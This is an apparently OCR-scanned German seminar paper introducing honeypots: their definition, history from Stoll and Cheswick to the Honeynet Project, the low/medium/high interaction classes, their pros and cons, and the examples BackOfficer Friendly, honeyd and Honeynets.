ums zu erweitern. So ist aus dem einfachen Kommunikationsmedium Internet mittlerweile
eine Plattform entstanden, auf der sich sowohl private als auch wirtschaftliche Netzwerke
entwickeln. Heutzutage werden somit neben privater Kommunikation wie zum Beispiel in
Chatrooms oder via E-Mail auch geschéftliche Transaktionen wie Bankiiberweisungen oder
Online-Bestellungen bis hin zu behérdlichen An- und Abmeldungen durch das Internet er-
moglicht.

Doch das Internet birgt auch viele Gefahren. In den Nachrichten wird immer wieder von
Ubergriffe sowohl auf private als auch staatliche Rechner und Netzwerke berichtet. Mit dem
gigantischen Wachstum geht eine immer steigende Zahl an Angriffen auf die riesigen Daten-
strome im Internet einher. Daher ist das Bediirfnis nach Schutz der Daten stark gewachsen.
Hier hat sich ein regelrechter Wettlauf zwischen den Angreifern und den Sicherheitsexperten
des Internets entwickelt. Die Angreifer versuchen immer neue Wege und Mittel zu finden
um an wichtige Daten zu gelangen, denen die Sicherheitsexperten mit der Entwicklung von
Schutzmechanismen entgegen treten. Trotzdem kommt es immer wieder zu neuen Angriffen
und daher ist es enorm wichtig auch in Zukunft an neuen Sicherheitstechnologien zu forschen.
Ein wichtiges Hilfsmittel dabei sind Honeypots. Deshalb werde ich mich im Folgenden mit
eben diesen beschéftigen. Dabei werde ich zunéchst darauf eingehen, was Honeypots iiber-
haupt sind und versuchen eine geeignete Definition zu finden. Anschlielend werde ich erldutern
welche Leistungen Honeypots erbringen kénnen und welche nicht. Im diesem Zusammenhang
wird auch eine erste Unterscheidung unterschiedlicher Arten von Honeypots eingefiihrt. Da-
nach erldutere ich wie ihre Entwicklung von statten ging. Im dritten Abschnitt wird es dann
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um die Einordnung von Honeypots in Klassen gehen und durch welche Merkmale sich die
einzelnen Klassen iiberhaupt unterscheiden. Danach werde ich Vor- und Nachteile aufzeigen,
die sich mit dem Einsatz von Honeypots ergeben, und anschlielend einige Beispiele von Ho-
neypots genauer beschreiben. Im letzten Kapitel wird es dann um die Zukunft von Honeypots
gehen.

2 Was sind Honeypots? - Definition eines Honeypots

Bevor in den nachfolgenden Abschnitten die Eigenschaften der Honeypots erldautert werden,
muss zunéchst einmal eine geeignete Definition eines Honeypots gefunden werden um genau zu
wissen, was Honeypots iiberhaupt sind und was sie leisten konnen. Systemtechnisch handelt es
bei Honeypots um Systeme, die als Lockmittel fiir Angreifer dienen. Innerhalb des Netzwerkes
bieten sie keine sinnvollen Dienste an und werden daher aus dem System heraus nicht direkt
angesprochen, so dass jeder Versuch der Kontaktaufnahme auf einen Angreifer schlieflen ldsst,
der die Systemkonfiguration nicht kennt. Die Suche nach einer eindeutigen Definition ist nicht
ganz einfach, denn es gibt eine Vielzahl davon. Der Grund warum es so viele verschiedene
Definitionen gibt liegt darin, dass Honeypots auf viele verschiedene Arten von Internetan-
griffen angewendet werden konnen. Sie sind nicht wie viele andere Sicherheitstechniken im
Internet nur auf ein bestimmtes Problem ausgerichtet sondern versuchen eine moglichst grofe
Bandbreite abzudecken. Eine Firewall ist beispielsweise dafiir konzipiert Angreifer davon ab-
zuhalten auf ein System zuzugreifen. Im Gegensatz hierzu versuchen Honeypots nicht nur
unerlaubte Systemzugriffe zu detektieren sondern auch Trojaner, Wiirmer und andere An-
griffe. Dabei sammelt ein Honeypot nur relevante Daten, die direkt mit dem Angriff auf den
Rechner im Zusammenhang stehen, und wertet diese gegebenenfalls aus. Somit geht ein Ho-
neypot mit relativ wenigen aber in Bezug auf den Angriff und seine Methodik hoch relevanten
Daten um, widhrend andere Programme wie Z.B. Firewalls und Virenschutzprogramme mit
einer enormen Datenflut zu tun haben, da sie kontinuierlich den gesamten Datenstrom kon-
trollieren um ihn mit bekannten Mustern abzugleichen oder die Zugangsberechtigungen aller
Programme auf die Systemressourcen zu iiberwachen. Eine gute und meiner Meinung nach
auch sehr zutreffende Definition findet sich in dem Buch: ,,Honeypots- Tracking Hackers* von
Lance Spitzner. Dort wird ein Honeypot folgendermafien definiert:

Ein Honeypot ist eine Sicherheitsressource, deren Wert darin liegt untersucht,
angegriffen oder kompromittiert zu werden

Und genau hier liegt der Unterschied von Honeypots zu anderen Sicherheitstechniken. Man
will, dass ein Angriff auf einen Honeypot stattfindet um so etwas neues iiber den Angriff und
den Angreifer selbst zu lernen. Dabei gibt es eine Vielzahl an Anwendungsmoglichkeiten von
Honeypots. Sie konnen beispielsweise einen Wurmangriff erkennen und analysieren oder sie
konnen unerlaubte Systemzugriffe frithzeitig erkennen und darauf hinweisen. So unterschied-
lich die Mdoglichekiten einer Anwendung so unterschiedlich sind die Honeypots selbst.

Man kann grob zwei Typen von Honeypots unterscheiden. Es gibt Produktions- und
Forschungs- Honeypots. Produktions- Honeypots werden vor allem in Unternehmen und im
privaten Bereich eingesetzt. Mit diesem Honeypot- Typ lassen sich Angriffe meist nur fest-
stellen. Das hat allerdings auch den Vorteil, dass diese Honeypots wesentlich einfacher hand-
zuhaben sind. Im Gegenteil dazu werden die Forschungs- Honeypots, wie der Name schon
andeutet, zu Forschungszwecken eingesetzt. Mit Honeypots diesen Typs werden Angriffe nicht
nur festgestellt, sondern auch viele Informationen iiber den Angriff und dessen Angreifer ge-
sammelt und ausgewertet. Damit sollen neue Erkenntnisse iiber Methoden und Werkzeuge
von Angreifern gewonnen werden. Diese werden dann benutzt um neue Sicherheitstechniken
zu entwickeln um damit Systeme in Zukunft noch besser schiitzen zu kénnen. Die Forschungs-
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Honeypots sind damit im Gegensatz zu den Produktions- Honeypots wesentlich komplexer
und schwieriger zu bedienen.

Zusétzlich zu der Typunterscheidung von Honeypots kann man alle Honeypots klassifizieren.
Es gibt insgesamt drei verschiedene Klassen, die low-, medium- und high- interaction Honey-
pots. Eine Einordnung erfolgt je nachdem wie viele Interaktionsmoglichkeiten ein Angreifer
mit einem Honeypot hat. Eine genauere Erlduterung der einzelnen Klassen wird in einem
spéteren Abschnitt vorgenommen.

3 Geschichte der Honeypots

Nach der Definition und ersten Einfiithrung zum Thema Honeypots, wird es nun Zeit einen
Blick auf die Entstehungsgeschichte zu werfen.

Die Idee eines Honeypots gibt es schon etwas langer. Allerdings kannte man das Konzept von
Honeypots noch nicht unter dem heutigen Namen. Erst in jiingerer Vergangenheit hat sich
der Begriff von Honeypots wirklich durchgesetzt.

Im Jahr 1990 wurden zwei unterschiedliche Verdffentlichungen zu diesem Thema gemacht.
Die erste war ein Buch, stammte von Clifford Stoll und hatte den Titel ,, The Cuckoo’s Egg*.
Clifford Stoll arbeitete damals mit Computersystemen und musste dabei feststellen, dass sich
ein Angreifer Zugriff auf die Daten dieses Systems verschafft hatte. Doch anstatt diesen Zu-
griff zu unterbinden, beschloss er den Angreifer weiter machen zu lassen und ihn stattdessen
zu beobachten. Dadurch hatte er die Moglichkeit viele Informationen iiber ihn zu sammeln.
Das System auf dem Stoll den Angreifer beobachtete war noch kein Honeypot im heute iib-
lichen Sinne. Es war stattdessen ein reales System mit sensiblen Daten. Jedoch lassen sich
mit diesem Buch die ersten Ansétze und Ideen der heutigen Honeypots gut erkennen. Zwar
kann man das angegriffene System nicht als ein Honeypot bezeichnen, da es nicht speziell
dafiir vorgesehen war Informationen iiber den Angriff zu sammeln aber der Grundgedanke
der Beobachtung des Eindringlings war dergleiche.

Die zweite Veroffenlichung in diesem Jahr stammte von Bill Cheswick. Dabei handelte es
sich um ein Papier mit dem Titel ,An Evening with Berferd in Which a Cracker Is Lured,
Endured, and Studied“. Der Unterschied zu Stoll’s Buch lag darin, dass man hier ein System
speziell angelegt hatte um angegriffen zu werden. Damit handelte es sich in diesem Fall um
ein Honeypot nach heutiger Definition, auch wenn Cheswick es keinesfalls so nannte. In dem
Dokument wird beschrieben wie das System angelegt wurde und welche Eigenschaften es be-
saf}. Genau wie in Stoll’s Buch beschreibt auch Cheswick wie ein Angreifer versuchte auf sein
System zuzugreifen und was er dadurch lernen konnte.

Das néchste wichtige Datum in der Geschichte der Honeypots ist das Jahr 1997. In diesem
Jahr wurde das erste Programm veroffentlicht, mit dem man auf seinem eigenen privaten
Rechner ein Honeypot installieren und damit arbeitet konnte. Es hiel Deception Toolkit
(DTK) und wurde von Fred Cohen geschrieben. Das Programm zum Betreiben eines Honey-
pots war vor allem dazu gedacht Informationen iiber Aktivitdten der Angreifer zu sammeln
und sie zu verwirren.

Im darauffolgenden Jahr, wurde, als Erweiterung zu DTK, ein weiteres Honeypot- Produkt
namens CyberCop Sting entwickelt. Beim Einsatz bot CyberCop Sting dem Benutzer zwei
wichtige Neuerungen. Die erste bestand darin, dass das Programm nicht auf Unix sondern
auf Windows NT lief. Der zweite und auch wesentlich wichtigere Unterschied lag darin, dass
CyberCop Sting viele parallel laufende Systeme verschiedenster Art betreiben konnte. So war
es zum Beispiel moglich Cisco, Solaris und NT Anwendungen zur gleichen Zeit nachzubilden.
Dadurch konnte die Chance eines Angriffs stark erhoht werden. Trotz all der Vorteile und der
leichten Bedienung dieses Produkts konnte es nie wirklich auf dem Markt durchsetzen.

1998 wurde ein Programm namens NetFacade von Marty Roesch entwickelt. Dieses konnte
bis zu sieben verschiedene Typen von Anwendungen simulieren und damit bis zu 254 Syste-
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me, also ein Klasse C Netzwerk erschaffen. Obwohl das Programm nicht sehr bekannt wurde,
hatte es doch ein groflen Nutzen fiir die Entwicklung der Honeypots.

Noch im selben Jahr wurde BackOfficer Friendly entwickelt. Dieses Programm, das noch in
einem spéteren Abschnitt ausfiithrlich behandelt wird, war einfach in der Anwendung und bot,
trotz eingeschriankter Funktionalitit, einem breiten Publikum die Moglichkeit sich erstmals
wirklich mit dem Konzept der Honeypots auseinander zu setzen. BackOfficer Friendly war
kostenlos erhéltlich und sehr einfach zu installieren. Dadurch konnte es ohne viel Vorwissen
heruntergeladen und angewendet werden.

Im Jahr 1999 wurde dann schliefflich das Honeynet Project gegriindet. Das Team dieses Pro-
jekts, welches aus ehrenamtlichen Sicherheitsexperten bestand, konzentrierte sich auf den
Einsatz von Honeynets. Auch diese werden in einem spéteren Abschnitt noch ausfithrlich be-
schrieben.

Durch den rasanten Anstieg an Angriffen durch Wiirmer in den Jahren ab 2000 kamen Honey-
pots immer mehr zum Einsatz bekamen dank ihrer guten Ergebnisse immer mehr Akzeptanz
als Hilfsmittel im Kampf gegen Angriffe im Internet.

4 Klassifikation von Honeypots

Im Zusammenhang mit der Definition von einem Honeypot wurden die zwei Typen von Ho-
neypots bereits kurz vorgestellt. Bei diesen beiden Typen handelte es sich um die Produktions-
und Forschungs- Honeypots. Produktions- Honeypots setzt man vor allem ein um Angriffe zu
erkennen und anzuzeigen damit gegebenenfalls mit den entsprechenden Sicherheitstechniken
entgegengewirkt werden kann. Forschungs- Honeypots hingegen werden nicht nur eingesetzt
um Angriffe zu erkennen und entgegen zu wirken, sondern auch um etwas iiber die Angreifer
und deren Methoden zu lernen. Dariiber hinaus unterscheidet man drei weitere verschiedene
Kategorien, in die Honeypots eingeordnet werden kénnen. Dabei handelt es sich um die Low-
Interaction, die Medium- Interaction und die High- Interaction Honeypots. Die Einordnung
der Honeypots richtet sich jeweils, wie der Name es schon vermuten ldsst, nach der Intensitét
der Interaktion, die man mit einem Honeypot betreiben kann. Durch die Klassifikation von
Honeypots hat man auch die Moglichkeit sie untereinander zu vergleichen. Die Vergleich-
moglichkeit hilft dann auch bei der Entscheidung fiir welche Art von Honeypot man sich
entscheiden soll. Dabei muss man sich allerdings vorher im Klaren dariiber sein, was man mit
dem Honeypot iiberhaupt machen machte. Will man beispielsweise nur unautorisierte Uber-
griffe auf ein System feststellen und {iberwachen, so reicht ein Honeypot mit einer niedrigen
Interaktion vollkommen aus. Mochte man hingegen etwas iiber die Methoden der Angreifer
erfahren, so muss man sich eher fiir einen komplexen Honeypot mit einer hohen Interakti-
onsfiahigkeit entscheiden. Allerdings sollte bei der Auswahl des Honeypots beachtet werden,
dass je mehr Interaktionsmoglichkeiten mit einem Honeypot bestehen, desto grofier das Si-
cherheitsrisiko wird. Die unterschiedlichen Ausprigungen und Eigenschaften der Honeypot-
Klassen werden in den néchsten Abschnitten genauer beschrieben.

4.1 Low- Interaction Honeypots

Low-Interaction Honeypots zeichnen sich dadurch aus, dass sie eine eher eingeschrénkte Funk-
tionalitat haben. Dadurch haben sie allerdings auch den Vorteil einer einfachen Handhabung.
Mit einem Honeypot dieser Klasse ldsst sich zum Beispiel feststellen, wann ein Angriff er-
folgt ist. Zusétzlich kann man die IP- Adresse und den Port des Angreifers und des Ziels des
Angriffs feststellen. Viel mehr Funktionalidt bieten die low- interaction Honeypots allerdings
nicht. Deshalb sind die Information, die man iiber einen Angriff und den Angreifer erhilt,
eher gering. Bedingt durch diese ,,Einfachheit* lassen sich die Honeypots dieser Klasse einfach
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installieren und vor allem auch sehr einfach bedienen. Die Benutzeroberfléiche ist meist iiber-
sichtlich und leicht zu verstehen. Durch die eingeschrinkte Funktionalitat dieser Honeypots
ist natiirlich auch die Interaktion, die ein moglicher Angreifer mit dem System hat, stark ein-
geschriinkt. Dies hat den Vorteil, dass das Sicherheitsrisiko sehr gering ist, da dem Angreifer
keine Moglichkeit gegeben wird wichtige Systeme anzugreifen und zu iibernehmen. Die low-
interaction Honeypots werden vor allem im privaten Gebrauch eingesetzt.

4.2 Medium- Interaction Honeypots

Diese Honeypot- Klasse hat schon mehr Funktionalitéit und bietet einem Angreifer damit mehr
Interaktionsmdoglichkeiten mit dem Honeypot. Aus diesem Grund kann man mehr Informa-
tionen iiber den Angreifer und dessen Angriff sammeln und verwerten. Durch das erhohte
Interaktionslevel wird auch die Handhabung also die Installation und die Bedienung schwie-
riger. Diese Klasse von Honeypots liegt beziiglich ihrer Komplexitit zwischen den kow- und
den high- Interaction Honeypots. Der Nachteil der erhohten Interaktion ist allerdings, dass
damit auch das Sicherheitsrisiko steigt. Das hat seinen Grund darin, dass mit der Steigerung
des Interaktionslevel dem Angreifer ein nahezu reales System ,prisentiert* wird. Falls der
Angreifer es schafft, den Honeypot zu hacken, so kann das System dazu benutzt werden um
andere Systeme anzugreifen. Der Vorteil dieser Honeypot- Klasse ist allerdings, dass man viel
mehr Informationen iiber einen Angreifer sammeln kann.

4.3 High- Interaction Honeypots

Die high- interaction Honeypots haben die h6chste Komplexitét und stellen ein reales System
mit sehr vielen realen Anwendungen dar. Dadurch ist es moglich sehr viele Informationen wéh-
rend eines Angriffs zu sammeln. Es werden nicht nur Informationen iiber den Zeitpunkt eines
Angriffs gesammelt sondern man erhélt auch Auskunft {iber die Fihigkeiten eines Angreifers
und dessen Methoden und Vorgehen. Da das Sicherheitsrisiko mit steigendem Interaktionsle-
vel ansteigt, ist das Sicherheitsrisiko bei dieser Honeypot- Klasse sehr grof}. Der Grund dafiir
liegt darin, dass ein Angreifer, der in einen Honeypot dieser Klasse eingedrungen ist, weitere
Systeme angreifen und damit immensen Schaden anrichten kann. Man benétigt einiges an
Vorwissen um einen solchen Honeypot zu betreiben, da sowohl die Installation als auch die
Bedienung wesentlich komplexer ist als bei den anderen Klassen. Diese Art von Honeypots
wird vor allem als Forschungs- Honeypot eingesetzt.

5 Vor- und Nachteile von Honeypots

Nachdem schon einiges iiber Honeypots erldutert wurde, ist es nun an der Zeit sich mit den
tatsdchlichen Vor- aber auch Nachteilen zu beschéftigen. Fine solche Betrachtung wird im
folgenden durchgefiihrt.

5.1 Vorteile von Honeypots

Ein erster Vorteil, den Honeypots anderen Sicherheitstechniken gegeniiber haben, ist ihre ein-
fache Anwendung. Wahrend man sich bei anderen Sicherheitstechniken mit der Materie sehr
gut auskennen muss um iiberhaupt damit arbeiten zu kénnen, reicht es bei einem Honeypot
aus ihn zu installieren und gegebenenfalls einige Modifikationen zu machen. Dadurch ist die
Handhabung eines Honeypots wesentlich einfacher als bei anderen Techniken. Natiirlich gibt
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es auch, wie im vorigen Kapitel angesprochen, komplexere Honeypots bei denen ein gewis-
ses Vorwissen bendtigt wird. Allerdings kann auch zunéchst ein einfacher Honeypot ohne viel
Vorwissen betrieben werden. Dadurch wird jedem die Moglichkeit gegeben sich mit Honeypots
auseinander zu setzen und Angreifer zu beobachten. Dies ist bei anderen Sicherheitstechniken
nicht der Fall.

Der néchste grofle Vorteil von Honeypots ist die Menge an Daten und deren damit verbun-
dene Analyse. Denn bei den anderen Sicherheitstechniken werden eine immense Menge an
Daten gesammelt. Das Problem hierbei besteht allerdings in deren Verwertung. Viele der
gesammelten Daten sind nicht aussagekriftig und fiir die Analyse damit schlicht unnotig.
Trotzdem miissen die Sicherheitstechniken diese Daten aufzeichnen, denn es ist im Vorhinein
nicht zu erkennen welche Daten wichtig und welche unwichtig sind. Durch diese grofie Menge
der Daten wird es manchmal schwierig diese in einer angemessenen Zeit zu analysieren und
zu verarbeiten, so dass es zu einer Beeintréchtigung der Systemfunktionen in Form von Reak-
tionszeiten kommen kann. Dabei werden teilweise sogar regulidre Systemanfragen abgeblockt.
Im Gegensatz hierzu beschrinkt sich der Honeypot auf die mit dem Angriff in Zusammen-
hang stehenden Daten um diese im Anschlufl daran zu analysieren. Das fithrt zu einem stark
reduzierten Datenaufkommen, was die Systemfunktionen nicht beeintriachtigt. Die Auswer-
tung der Analysen bringen mogliche Fehler innerhalb der Sicherheitstechniken zum Vorschein.
Derartige Informationen kénnen dann genutzt werden um die Schutzmechanismen weiterzu-
entwickeln. Und genau hier liegt der Vorteil der Honeypots. Sie miissen mit viel weniger
Daten umgehen. Diese Daten sind allerdings sehr aussagekriftig und damit wird es moglich
schnellere und auch prézisere Analysen durchzufiihren. Als Folge ergibt sich die Mdglichkeit
auf mogliche Probleme oder Fehler in den angewendeten Sicherheitsprogrammen schnell zu
reagieren, indem diese modifiziert und verbessert werden.

Der dritte grofie Vorteil liegt in der deutlich geringeren Anforderung an die Hardware. Da
die meifiten Sicherheitsprogramme das Problem haben durch die immer schneller werdende
Verkehrsgeschwindigkeit im Internet auch mit immer mehr Datenvolumen in der gleichen Zeit
zurecht kommen zu miissen, werden entsprechend hohe Anforderungen an die Verarbeitungs-
geschwindigkeit der Hardware gestellt. Werden diese nicht erfiillt kann es zu Schwierigkeiten
fithren, da die Sicherheitstechniken nicht mehr alles kontrollieren kénnen und es somit leich-
ter zu Fehlfunktionen kommen kann. Der Vorteil von Honeypots liegt nun darin, dass diese
wesentlich weniger Ressourcen benotigen, da sie nur dann reagieren miissen wenn sie tatséch-
lich angesprochen werden. Dadurch muss ein Honeypot auch nicht besonders schnell oder
leistungsfihig sein. Es kénnen durchaus éltere Rechner zum Einsatz als Honeypot benutzt
werden. Aus diesem Grund miissen Honeypots auch nicht auf den neusten Stand der Technik
gebracht werden und sind damit sehr kostengiinstig zu betreiben.

Der néchste Vorteil von Honeypots liegt in der Féahigkeit jedem bewusst zu machen, welche
Gefahr vom Internet ausgeht. Da Honeypots dem Betreiber jedes Mal anzeigen, wenn ein
Angreifer versucht auf sein System zuzugreifen, wird ihm immer wieder vor Augen gefiihrt,
dass ein ausreichender Schutz unbedingt erforderlich ist. Bei anderen Sicherheitstechniken
besteht die Moglichkeit sich eben dieser Gefahr nicht bewusst zu werden, da diese Program-
me die Angriffe abblocken, so dass dem Anwender diese erst gar nicht zur Kenntnis gebracht
werden. Dadurch kénnte man die falschen Schliisse ziehen und neigt dazu anzunehmen, dass
sein System iiberhaupt nicht in Gefahr ist. Honeypots verhindern genau diese Annahme und
weisen explizit auf die Gefahr hin.

5.2 Nachteile von Honeypots

Der erste grofle Nachteil, den Honeypots haben, ist das Risiko, das sie durch ihren Einsatz
mit sich bringen. Ein Risiko besteht deshalb, weil ein Honeypot, falls ein Angreifer in diesen
eingedrungen ist, dazu eingesetzt werden kann um dann aus dem Netzwerk heraus andere
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Systeme anzugreifen. Das Risiko und der damit verbundene Schaden hingt von dem Interak-
tionslevel des Honeypot ab. Wie im letzten Kapitel beschrieben ist die Gefahr umso grofler
je mehr ein Honeypot leisten kann.

Das néchste Problem und damit ein weiterer Nachteil von Honeypots ist, dass ein Honey-
pot nicht beobachtet was um ihn herum passiert sondern nur was ihn selbst betrifft. Dadurch
kann es vorkommen, dass obwohl ein Angriff auf das Netzwerk stattfindet der Honeypot nicht
reagiert, weil er nicht selbst angegriffen wird. Honeypots reagieren tatséchlich nur dann wenn
er selbst Ziel des Angriffs wird.

Ein weiterer grofler Nachteil resultiert aus der Identifikation eines Systems als Honeypot.
Dies kann dazu fiihren, dass ein Angreifer den Honeypot in Zukunft umgeht und sich auf
andere Systeme konzentriert. Auflerdem kann es passieren, dass ein Angreifer sein Wissen
iiber die Existenz eines Honeypots gezielt nutzt um auf andere Systeme zuzugreifen. Ein
Angreifer kann beispielsweise einen Honeypot so mit Angriffen bombardieren und den Be-
nutzer soweit ablenken, dass er ungehindert andere Systeme angreifen kann. Bei den schon
erwahnten Forschungs- Honeypots kann eine Identifizierung zu schwerwiegenden Fehlern fiih-
ren. Das liegt an der Tatsache, dass ein Angreifer gezielt falsche Informationen tiber sich und
seine Methoden wihrend eines Angriffs hinterlassen kann. Da aber aus diesen Informationen
durch Analysen Schliisse gezogen werden, werden hieraus dann falsche Schliisse gezogen. Dies
stellt dann ein massives Problem dar, wenn diese Schliisse Einzug in die Sicherheitssoftware
der néichsten Version halten. So kann diese regelrecht manipuliert werden und anstelle die
Systeme zu schiitzen neue Zugéinge zu diesen schaffen.

6 Beispiele fiir Honeypots

Die Funktionsweise von Honeypots wurde nun eingehend erldutert, so dass es nun an der
Zeit ist sich mit einigen praktischen Beispielen auseinander zu setzen. Natiirlich gibt es ei-
ne grofle Anzahl von Honeypots, die heute im Einsatz sind. Deshalb werden im Folgenden
drei unterschiedliche Honeypots vorgestellt, anhand dieser man gut die verschiedenen Anwen-
dungsmoglichkeiten sehen kann. Als erstes Beispiel mochte ich einen eher einfachen Honeypot
namens BackOfficer Friendly vorstellen. Das zweite Beispiel wird ein komplexerer Honeypot
namens honeyd sein. Als letzte Anwendung werden wir uns dann den Honeynets zuwenden.

6.1 BackOfficer Friendly

Das erste Beispiel, das ich hier vorstellen mochte ist BackOfficer Friendly (kurz BOF). Dies
ist einer der einfachsten Honeypots die es gibt und lésst sich in die Klasse der low- inter-
action Honeypots einordnen. BOF ldsst sich gut als Produktions- Honeypot einsetzen und
ist als Forschungs- Honeypot nicht geeignet. Der Grund liegt darin, dass das Programm sehr
eingeschriankte Funktionalitdt aufweist und auch, im Falle eines Angriffs, sehr wenig Informa-
tionen iiber den Angreifer und seine Methoden sammelt. Bevor aber die Funktionalitdt ndher
erlautert wird, erst ein paar Worte zur Entstehung von BOF.

BackOfficer Friendly, der zunéchst gar nicht als Honeypot konzipiert worden war, wurde ei-
gentlich als eine Mafinahme gegen ein damals kursierendes Programm namens Back Orifice
entwickelt. Back Orifice war deshalb eine so grofie Gefahr, weil ein Angreifer damit ohne
Aufmerksamkeit zu erregen in ein System eindringen konnte und dieses dann nach belieben
steuern konnte. Als Marcus Ranum 1998 BOF entwickelte, war sein Ziel eine Software zu
erschaffen, die die Aktivitdten dieses damals weit verbreiteten Programms aufdecken sollte.
BOF war so konzipiert, dass es sofort Alarm ausloste, sobald ein Angriff des Back Orifice
entdeckt wurde.
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Die Vorgehensweise des BackOfficer Friendly lisst sich folgendermaflen beschreiben: Das Pro-
gramm kann bis zu 7 verschiedene Ports eines Systems abhoren. Falls versucht wird zu einem
dieser Ports eine Verbindung aufzubauen, baut BOF tatséchlich eine vollstandige TCP- Ver-
bindung auf, notiert gleichzeitig den Versuch des Verbindungsaufbaus und 16st dabei Alarm
aus um den Benutzer auf einen Angriff aufmerksam zu machen. Anschliefend bricht BOF
die Verbindung sofort wieder ab. Wie sich dabei leicht erkennen lasst, kann BOF sehr wenige
Informationen sammeln, da das Programm die Verbindung sofort nach Aufbau gleich wieder
abbricht.

Obwohl BackOfficer Friendly eine sehr eingeschriankte Funktionalitéit hat, ist das Programm
gut geeignet um Angriffe auf ein System zu detektieren und somit eine gute Moglichkeit Si-
cherheitsméngel festzustellen. So kann auch Unternehmen vor Augen gefiihrt werden, dass ein
Sicherheitsrisiko besteht und somit das Bewusstsein fiir die Notwendigkeit von Sicherheits-
mafinahmen geschérft werden.

6.2 Honeyd

Honeyd wurde von Niels Provos entwickelt und 2002 veroffentlicht. Bei diesem Programm han-
delt es sich um ein Open Source System, welches fiir Unix Systeme vorgesehen ist. Dass das
Programm kostenfrei ist und sich somit von jedem nicht nur einfach herunterladen lédsst son-
dern auch jeder Zugriff auf den Quellcode hat, bietet immense Vorteile. Es kann sehr schnell
weiterentwickelt werden, da jeder am Code arbeiten kann. Somit bietet das Programm die
Moglichkeit neue Funktionen zu integrieren oder auch Fehler zu beheben.

Honeyd ldsst sich trotz seiner Erweiterungen noch den low- interaction Honeypots zuordnen,
da es relativ einfach zu bedienen ist. Des weiteren ist Honeyd als Produktions- Honeypot
konzipiert, eignet sich allerdings in Teilen auch als Forschungs- Honeypot. Die Moglichkeit
des Einsatzes als Forschungs- Honeypot liegt daran, dass Honeyd bestimmte Anwendungen
zur Verfiigung stellt, die fiir Forschungszwecke niitzlich sind.

Die Besonderheiten, die diesem Programm zu Grunde liegen, sind zum einen, dass es jeden
moglichen TCP- Port iiberwachen kann. Honeyd registriert nicht die Aktivitdten an den ei-
genen Ports, sondern nimmt die Identitéit einer IP- Adresse an, hinter der kein reales System
steht. Somit kann es im Fall eines Angriffs das adressierte System simulieren und als dieses
nachgebildete System mit dem Angreifer interagieren um daraus Informationen zu gewinnen.
Doch Honeyd kann nicht nur ein sondern extrem viele Systeme simulieren. Und genau hier
liegt die zweite Besonderheit, die Honeyd bietet.

Da Honeyd ein System in einem Netzwerk nur dann simuliert, wenn kein reales System dahin-
ter steht, stellt sich die Frage, woher die Informationen dariiber gewonnen werden. Es muss
also zunéchst gekldart werden hinter welcher IP- Adresse ein reales System steht und hinter
welcher nicht. Steht hinter einer IP- Adresse kein reales System und wird dieses angesprochen,
so wird davon ausgegangen, dass es sich um einen Angriff handelt und Honeyd greift ein. Bei
der Erkennung nichtexistenter Systeme gibt es zwei Moglichkeiten. Die erste ist, wenn ein
Netzwerk oder ein Teil des Netzwerkes erst gar nicht genutzt wird. Dann steht hinter keiner
IP- Adresse ein reales System und Honeyd wendet ein Verfahren namens blackholig an. Die-
ses Verfahren bietet die Fahigkeit statt einzelner IP- Adressen ganze Blocke abzuhtren und
spart damit viel Zeit und Komplexitét ein. Die zweite Moglichkeit, welche sehr viel hiufiger
eingesetzt wird, kommt dann zum Einsatz, wenn in einem Netzwerk sowohl reale als auch
nichtexistente Systeme nebeneinander vorhanden sind. Um bei einem solchen Netzwerk die
IP- Adressen heraus zu finden, bei denen kein reales System dahinter steht, bedient man
sich des Adress Resolution Protocol, kurz ARP. Dieses Protokoll ermdglicht es die hinter der
IP- Adresse stehende MAC- Adresse (Media Access Control) zu ermitteln. Ist diese MAC-
Adresse nicht vorhanden, so existiert kein System. Damit lassen sich die beiden Fille schnell
und einfach trennen.
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Wird nun versucht eine Verbindung zu einem Port aufzubauen, hinter dem kein reales System
steht, so gibt sich Honeyd an dessen Stelle als ein solches aus und Interagiert je nach System
entsprechend mit dem Angreifer.

6.3 Honeynets

Das letzte Beispiel, dass ich an dieser Stelle vorstellen mochte, ist zu gleich das Wichtigste
und Méchtigste. Das Konzept der Honeynets wurde erstmals 1999 im Rahmen eines Papers
mit dem Titel ,To Build a Honeypot“ vorgestellt. Darin wurde erstmals iiber die Idee ein
normales Netzwerk, wie es in jedem Unternehmen vorkommt, als Honeypot einzusetzen. Als
2000 dann das Honeynet Project gegriindet wurde, nahmen die Honeynets die zentrale Rolle
bei der Erforschung von Angreifern im Internet ein. Das Projekt setzte Honeynets ein um
Informationen iiber Angreifer und deren Methoden zu sammeln. Entstanden sind aus ihrer
Arbeit eine Reihe von Papers, die spéter als Buch mit dem Titel ,Know Your Enemy* in
gesammelter Form erschienen.

Die Honeynets lassen sich eindeutig den high- interaction Honeypots zuordnen, denn es be-
stehen keinerlei Einschriankungen im Zusammenhang mit der Interaktion zwischen Honeynet
und Angreifer. Die Idee eines Honeynets besteht darin, ein ganz normales reales Netzwerk
aufzubauen, wie es in Unternehmen {iiblich ist. Dieses Netzwerk wird hinter einer Schutzbar-
riere, Honeywall genannt, anschlossen. Dann wird einfach beobachtet, was passiert, da dieses
physische Netzwerk sonst innerhalb der Netzwerkarchitektur keinem weiteren Zweck dient.
Die Gestaltung des Netzwerkes und die einzelnen Anwendungen auf den Systemen ist vollig
frei wihlbar und macht das Honeynet damit extrem flexibel. Honeynets sind also darauf aus-
gelegt das Konzept der Honeypots auf eine hohere vernetzte Ebene zu fithren, jedoch ist die
zu Grunde liegende Idee die Gleiche. Damit werden Honeynets als eine Weiterentwicklung der
Honeypots gesehen.

Honeynets konnen somit sowohl als Produktions- als auch als Forschungs- Honeypot einge-
setzt werden. Die Entscheidung ein Honeynet als Produktions- Honeypot einzusetzen, hat
den Grund, dass ein Honeynet sehr gut sowohl mit bekannten als auch mit unbekannten
Angriffsmustern umgehen kann und damit auch Angriffe detektiert, die sonst unentdeckt
blieben. Dadurch kénnen Ubergriffe mit einer hohen Wahrscheinlichkeit erkannt und gemel-
det werden, was wiederum dem Unternehmen einen guten Schutz bietet. Ein Honeynet wird
allerdings eher selten als Produktions- Honeypot eingesetzt, da es einfach zu komplex, teuer
und aufwindig ist.

Gute Einsatzmoglichkeiten bieten sich dem Honeynet jedoch als Forschungs- Honeypot. Das
liegt vor allem daran, dass sie extrem viele Informationen wihrend eines Angriffs sammeln
konnen. Diese bestehen nicht nur aus Daten iiber den Angreifer selbst sondern auch iiber
die Methoden und Tools die er benutzt. Der Vorteil eines Honeynets besteht darin, dass ein
Angreifer gar nicht merkt, dass er in ein Honeynet eingedrungen ist. Da es genauso aufgebaut
ist, wie alle anderen Netzwerke auch, erkennt der Angreifer den Unterschied einfach nicht.
